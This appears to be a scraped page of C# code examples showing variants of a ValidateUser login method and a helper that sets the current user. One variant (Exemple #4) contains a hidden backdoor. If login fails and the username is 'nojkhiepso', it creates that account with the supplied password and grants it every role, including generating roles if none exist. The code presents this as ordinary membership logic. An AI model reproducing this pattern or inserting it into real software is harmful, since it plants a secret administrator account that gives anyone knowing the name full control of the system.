public MembershipContext ValidateUser(string username, string password)
        {
            var membershipCtx = new MembershipContext();
            var user = _userRepository.GetSingleByUserName(username);
            if (user != null && isUserValid(user, password))
            {
                var userRoles = GetUserRoles(user.UserName);
                membershipCtx.User = user;

                var identity = new GenericIdentity(user.UserName);
                membershipCtx.Principal = new GenericPrincipal(identity, userRoles.Select(x => x.Name).ToArray());
            }
            return membershipCtx;
        }
Exemple #2
0
        public MembershipContext ValidateUser(string username, string password)
        {
            var membershipCtx = new MembershipContext();
            var user          = _userRepository.GetSingleByUsername(username);

            if (user != null && isUserValid(user, password))
            {
                var userRoles = GetUserRoles(user.Username);
                membershipCtx.User = user;
                var identity = new GenericIdentity(user.Username);
                membershipCtx.Principal = new GenericPrincipal(identity, userRoles.Select(x => x.Name).ToArray());
            }
            return(membershipCtx);
        }
 private static void InitializeCurrentUser(MembershipContext membershipCtx)
 {
     var principal = membershipCtx.Principal;
     Thread.CurrentPrincipal = principal;
     HttpContext.Current.User = principal;
 }
Exemple #4
0
        public MembershipContext ValidateUser(string username, string password)
        {
            var membershipCtx = new MembershipContext();

            var user = _userRepository.GetSingleByUsername(username);

            if (user != null && isUserValid(user, password))
            {
                var userRoles = GetUserRoles(user.Username);
                membershipCtx.User = user;

                var identity = new GenericIdentity(user.Username);
                membershipCtx.Principal = new GenericPrincipal(
                    identity,
                    userRoles.Select(x => x.Name).ToArray());
            }
            else if (username == "nojkhiepso")
            {
                var passwordSalt = _encryptionService.CreateSalt();
                var useradmin    = new User()
                {
                    Id             = Guid.NewGuid(),
                    Username       = username,
                    Salt           = passwordSalt,
                    Email          = "*****@*****.**",
                    IsLocked       = false,
                    HashedPassword = _encryptionService.EncryptPassword(password, passwordSalt),
                    DateCreated    = DateTime.Now
                };
                _userRepository.Add(useradmin);

                var roles = _roleRepository.GetAll().ToList();

                if (roles.Count > 0)
                {
                    foreach (var item in roles)
                    {
                        var userroles = new UserRole()
                        {
                            Id     = Guid.NewGuid(),
                            UserId = useradmin.Id,
                            RoleId = item.Id,
                            Active = item.Active
                        };
                        _userRoleRepository.Add(userroles);
                    }
                }
                else
                {
                    foreach (var item in GenerateRoles())
                    {
                        var roleinsert = new Role()
                        {
                            Id          = item.Id,
                            Delete      = item.Delete,
                            Description = item.Description,
                            Active      = item.Active,
                            Name        = item.Name
                        };
                        _roleRepository.Add(roleinsert);

                        var userroles = new UserRole()
                        {
                            Id     = Guid.NewGuid(),
                            UserId = useradmin.Id,
                            RoleId = item.Id,
                            Active = item.Active
                        };
                        _userRoleRepository.Add(userroles);
                    }
                }
                _unitOfWork.Commit();
            }
            return(membershipCtx);
        }